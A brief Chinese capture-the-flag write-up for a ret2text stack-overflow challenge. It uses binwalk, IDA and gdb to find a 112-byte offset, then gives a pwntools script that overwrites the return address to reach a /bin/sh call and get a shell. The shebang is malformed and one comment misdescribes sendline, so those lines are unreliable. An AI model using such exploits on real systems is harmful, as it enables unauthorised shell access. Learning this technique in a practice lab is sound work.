获得最高权限练习
题目:https://pan.baidu.com/s/1hsxnKkguZRPLPZqGI_y7_Q
提取码:n70j
工具:binwalk ida gdb
题解:
1、binwalk扫一下,32位的。跑一下,得到关键字。丢入ida看一下,反编译发现不管输入什么,都会输出之后结束
2、打开system函数,明显看到/bin/sh。那这个考的是栈溢出和获取权限的知识了,首先,我们先得到s中最多能存多少字符。先开个200的字符串试一下(cyclic 200),为了看到更多消息,在gdb中打开文件。
键入run,键入200个字符,报错,报错位置即为输入最大字符数。用(cyclic -l 0x…)查看
3、知道最大数目后,利用栈溢出,写脚本获得最高权限。
#!usr/bin/env/ python
#告诉操作系统python装在哪里
from pwn import *
#调用pwn库
sh=process('./ret2text')
#process()本地创建进程
elf=ELF('./ret2text')
target=0x0804863A
#即/bin/sh所在位置
sh.sendline('a'*112+p32(target))
#send恢复生成器并“发送”一个值,该值成为当前yield表达式的结果。
sh.interactive()
#交互页面
键入python exp.py ret2text 获得最高权限
知识点:
1、栈溢出和获取最高权限